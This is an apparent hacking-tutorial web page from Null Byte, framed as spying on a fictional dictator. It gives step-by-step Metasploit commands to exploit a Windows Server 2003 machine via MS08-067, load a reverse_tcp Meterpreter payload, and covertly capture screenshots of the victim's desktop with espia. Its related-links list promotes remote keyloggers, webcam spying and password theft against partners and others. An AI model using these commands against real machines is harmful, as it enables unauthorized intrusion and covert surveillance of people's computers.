Hack Like a Pro: How to Remotely Grab a Screenshot of Someone's Compromised Computer « Null Byte :: WonderHowTo

Welcome back, my newbie hackers!We've alreadysaved the world from nuclear annihilationandcovered our tracksafterwards, but the world is still threatened by a malicious, megalomaniacal dictator with missiles and nuclear weapons.We need to keep a close eye on him, so in this hack, we'll install a script to periodically take a screenshot of whatever he's doing on his computer. That way we can monitor his activities and hopefully keep the world safe.So, let's fire upMetasploitand get after this malignant, maniacal, and malicious dictator.Step 1: Set Up the HackFirst , let's select an exploit to use. Since he's using a Windows Server 2003 system, I like to use theMS08_067_ netapiexploit, so let's type:msf > use exploit/windows/smb/ms08_067_netapiTo simplify our screen captures, we'll need to use Metasploit's Meterpreter payload. Let's load it into our exploit by:msf > (ms08_067_netapi) set payload windows/meterpreter/reverse_tcpNext, we need to set our options. At this point, I like to use the "show options" command to see what options are necessary to run this hack.msf > (ms08_067_netapi) show optionsAs you can, we need to set the RHOST (the victim) and the LHOST (the attacker or us) IP addresses. After doing this, we should be ready to take over his system.msf > (ms08_067_netapi) set RHOST 192.168.1.108msf > (ms08_067_netapi) set LHOST 192.168.1.109Now, if we did everything correctly, we should be able to exploit the dictator's computer and put the Meterpreter on it, giving us total control of his computer.msf > (ms08_067_netapi) exploitAs you can see, we received a Meterpreter command prompt and we're ready to roll!Step 2: Grabbing a ScreenshotBefore we begin work on the malicious dictator's computer, let's find out what process ID (PID) we are using. Type:meterpreter > getpidAs you can see from the screenshot, we are using the PID of 932 on the dictator's computer. Now let's check to see what process that is by getting a list of all the processes with their corresponding PIDs. Type:meterpreter > psWe can see that the PID of 932 corresponds to thesvrhost.exeprocess. Since we're using a process with active desktop permissions, we're good to go. If not, we would have to migrate to a process with active desktop permissions.Now all we need to do is activate a built-in script in Meterpreter calledespia. Simply type:meterpreter > use espiaRunning this script simply installs espia on the bad guy's computer. Now we need to grab a screenshot of his computer by typing:meterpreter > screengrabWhen we do this, the espia script grabs a screenshot of our dictator's computer, saves it in our root user's directory, and displays a copy for us.As we can see above, we've successfully grabbed a screenshot of our bad boy's computer. Looks like he's up to no good again, checking on those Twinkies that are enroute.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos byNenetus/Shutterstock,Picsfive/ShutterstockRelatedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)Hacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Become a Computer Forensics Pro with This $29 TrainingHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHack Like a Pro:How to Pivot from the Victim System to Own Every Computer on the NetworkHow To:The Ultimate Guide to Hacking macOSHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:Use ShowMyPc.com to hack into someone's computer remotelyHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenHow To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherHow To:Shut Down Your PC and Send Other Commands Remotely Through Twitter Using TweetMyPCHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerNews:Google Earth's $399/Year Pro Features Now Free for EveryoneHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:What does Pro Tools HD Native mean for you?News:Social Hacking and Protecting Yourself from Prying EyesHow To:Hack Mac OS X Lion PasswordsHow To:Trick YouTube Into Being a Decent Video EditorHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Use Splice to Edit Movies on Your iPhone for Free